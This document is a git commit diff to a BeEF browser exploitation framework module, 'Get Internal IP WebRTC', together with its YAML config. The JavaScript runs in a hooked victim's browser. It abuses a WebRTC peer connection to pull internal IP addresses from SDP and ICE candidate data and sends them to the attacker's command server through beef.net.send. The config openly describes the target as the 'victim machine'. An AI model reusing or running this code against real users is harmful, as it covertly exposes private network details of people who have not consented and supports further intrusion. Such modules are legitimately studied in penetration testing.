Use data stream/channel (Required by Chrome)

This commit is contained in:
Brendan Coles
2015-02-09 08:50:36 +00:00
parent bf0f59e5d0
commit 54b58c2e72
2 changed files with 20 additions and 16 deletions

View File

@@ -10,38 +10,42 @@ beef.execute(function() {
if (RTCPeerConnection) (function () {
var addrs = Object.create(null);
var addrs = Object.create(null);
addrs["0.0.0.0"] = false;
// Establish a connection with ICE / relay servers - in this instance: NONE
var rtc = new RTCPeerConnection({iceServers:[]});
if (window.mozRTCPeerConnection) { // FF needs a channel/stream to proceed
rtc.createDataChannel('', {reliable:false});
};
// Construct RTC peer connection
var servers = {iceServers:[]};
var rtc = new RTCPeerConnection(servers);
rtc.createDataChannel('', {reliable:false});
// Upon an ICE candidate being found
// Grep the SDP data for IP address data
rtc.onicecandidate = function (evt) {
if (evt.candidate){
beef.debug("a="+evt.candidate.candidate);
grepSDP("a="+evt.candidate.candidate);
}
if (evt.candidate){
beef.debug("a="+evt.candidate.candidate);
grepSDP("a="+evt.candidate.candidate);
}
};
// Create an SDP offer
rtc.createOffer(function (offerDesc) {
grepSDP(offerDesc.sdp);
rtc.setLocalDescription(offerDesc);
}, function (e) { beef.net.send('<%= @command_url %>', <%= @command_id %>, "SDP Offer Failed"); });
}, function (e) {
beef.debug("SDP Offer Failed");
beef.net.send('<%= @command_url %>', <%= @command_id %>, "SDP Offer Failed");
});
// Return results
function processIPs(newAddr) {
if (newAddr in addrs) return;
else addrs[newAddr] = true;
var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; });
beef.debug("Found IPs: "+ displayAddrs.join(","))
beef.debug("Found IPs: "+ displayAddrs.join(","));
beef.net.send('<%= @command_url %>', <%= @command_id %>, "IP is " + displayAddrs.join(","));
}
// Retrieve IP addresses from SDP
function grepSDP(sdp) {
var hosts = [];
sdp.split('\r\n').forEach(function (line) { // c.f. http://tools.ietf.org/html/rfc4566#page-39

View File

@@ -9,7 +9,7 @@ beef:
enable: true
category: "Host"
name: "Get Internal IP WebRTC"
description: "Retrieve the internal (behind NAT) IP address of the victim machine using WebRTC Peer-to-Peer connection framework. Code from http://net.ipcalf.com/"
description: "Retrieve the internal (behind NAT) IP address of the victim machine using WebRTC Peer-to-Peer connection framework. Code from <a href='http://net.ipcalf.com/' target='_blank'>http://net.ipcalf.com/</a>"
authors: ["xntrik", "@natevw"]
target:
working: ["C", "FF"]